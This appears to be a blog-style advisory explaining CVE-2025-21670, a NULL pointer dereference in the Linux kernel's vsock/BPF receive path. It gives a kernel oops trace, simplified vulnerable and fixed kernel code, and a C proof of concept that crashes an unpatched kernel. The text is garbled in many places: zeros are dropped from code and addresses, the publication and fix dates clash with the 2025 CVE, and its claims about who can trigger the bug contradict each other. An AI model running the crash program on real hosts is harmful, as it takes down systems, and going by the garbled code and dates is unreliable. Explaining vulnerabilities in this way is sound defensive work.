CVE-2025-21670 - Linux Kernel `vsock/bpf` NULL Pointer Dereference Vulnerability Explained

Date Published: June 2024
Affected Component: Linux Kernel vsock subsystem (with BPF integration)
Fixed In: Kernel mainline as of June 2024
CVE: CVE-2025-21670

TL;DR

A bug in the Linux kernel's vsock + BPF implementation could let local users crash the kernel (trigger a NULL pointer dereference) if certain socket operations were performed right after a failed connect(). If you're running workloads using vsock (like virtual machines or containers with the vsock interface), update your kernel—especially if you allow unprivileged users to create and manage sockets.

What is vsock?

vsock (AF_VSOCK) is a socket address family designed for efficient communication between virtual machines (guests) and the host machine. It's heavily used in cloud, container, and virtualization platforms for RPC, I/O proxies, and agent communications.

The Bug

Some core functions in the vsock/BPF stack assume that the transport pointer in the vsock struct (struct vsock_sock *vsk) is always valid. But after a failed connect(), the kernel could leave vsk->transport as NULL.

When code like vsock_bpf_recvmsg() runs, it might access this NULL pointer, causing a kernel oops (crash).

Example Crash Trace (Kernel Oops)

BUG: kernel NULL pointer dereference, address: 00000000000000a
#PF: supervisor read access in kernel mode
#PF: error_code(x000) - not-present page
PGD 12faf8067 P4D 12faf8067 PUD 113670067 PMD 
Oops: Oops: 000 [#1] PREEMPT SMP NOPTI
CPU: 15 UID:  PID: 1198 Comm: a.out Not tainted 6.13.-rc2+
RIP: 001:vsock_connectible_has_data+x1f/x40
Call Trace:
 vsock_bpf_recvmsg+xca/x5e
 sock_recvmsg+xb9/xc
 __sys_recvfrom+xb3/x130
 __x64_sys_recvfrom+x20/x30
 do_syscall_64+x93/x180
 entry_SYSCALL_64_after_hwframe+x76/x7e

If your kernel is configured to panic on OOPS, this can bring down your system.

Vulnerable Code Path

The vsock_bpf_recvmsg() function did not ensure that the transport pointer was valid before calling other functions.

(Before Fix, simplified version in C)

// kernel source: net/vmw_vsock/bpf.c
int vsock_bpf_recvmsg(struct socket *sock, struct msghdr *msg, size_t len, int flags) {
    struct vsock_sock *vsk = vsock_sk(sock->sk);

    // Omitted: should check vsk->transport before calling this!
    return vsk->transport->recvmsg(...); // vsk->transport may be NULL!
}

If vsk->transport is NULL, this causes a classic NULL pointer dereference.

(After fix)

// net/vmw_vsock/bpf.c
int vsock_bpf_recvmsg(struct socket *sock, struct msghdr *msg, size_t len, int flags) {
    struct vsock_sock *vsk = vsock_sk(sock->sk);

    if (!vsk->transport)
        return ; // or appropriate error

    return vsk->transport->recvmsg(...);
}

By returning early, this prevents exploitable kernel faults.

Patch reference:
- net: vsock/bpf: return early if transport is not assigned (lore.kernel.org)

How Could Someone Exploit This?

If you have permission to create vsock sockets (usually root or container workload), you can easily crash the kernel with a few lines of C.

Example Exploit Code

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main() {
    int fd = socket(AF_VSOCK, SOCK_STREAM, );
    if (fd < ) {
        perror("socket");
        return 1;
    }

    struct sockaddr_vm svm = {
        .svm_family = AF_VSOCK,
        .svm_port = 1234, // port unlikely to be open, causes connect() to fail
        .svm_cid = VMADDR_CID_LOCAL,
    };

    // Intentionally cause connect to fail, leaving transport at NULL
    connect(fd, (struct sockaddr *)&svm, sizeof(svm));

    char buf[2] = {};
    // This triggers the NULL dereference in some kernels
    recv(fd, buf, sizeof(buf), );

    close(fd);
    return ;
}

After building and running this on a vulnerable kernel, you'll see the kernel OOPS.

Who Is Affected

- Users running Linux kernels with BPF-enabled vsock support between ~v6.7 and v6.13-rc2 (check your vendor's kernel announcements)
- Especially used in systems with virtual machines (KVM, QEMU, Firecracker), container runtimes (Kata, runV), or with socket-accessing unprivileged workloads

If you run

grep AF_VSOCK /boot/config-$(uname -r)

and see CONFIG_VSOCKETS=y, you might be affected. Upgrade if possible.

Monitor for suspicious OOPS in logs related to vsock_sock or vsock_bpf_recvmsg.

- No generic kernel parameter disables just BPF/AF_VSOCK safely, but locking down untrusted users helps.

References & Further Reading

- Linux kernel patch commit
- lore.kernel.org Patch Thread
- NVD Entry for CVE-2025-21670
- Linux vsock documentation
- QEMU vsock documentation

Summary

CVE-2025-21670 is a classic NULL pointer dereference in the kernel, but it can be triggered even by unprivileged users under some setups, especially in container or VM-heavy environments. Patch quickly, and review what software has access to vsock sockets.


Want more deep dives in plain language? Follow security advisories at the Linux kernel mailing list.

Timeline

Published on: 01/31/2025 12:15:28 UTC
Last modified on: 02/04/2025 15:37:25 UTC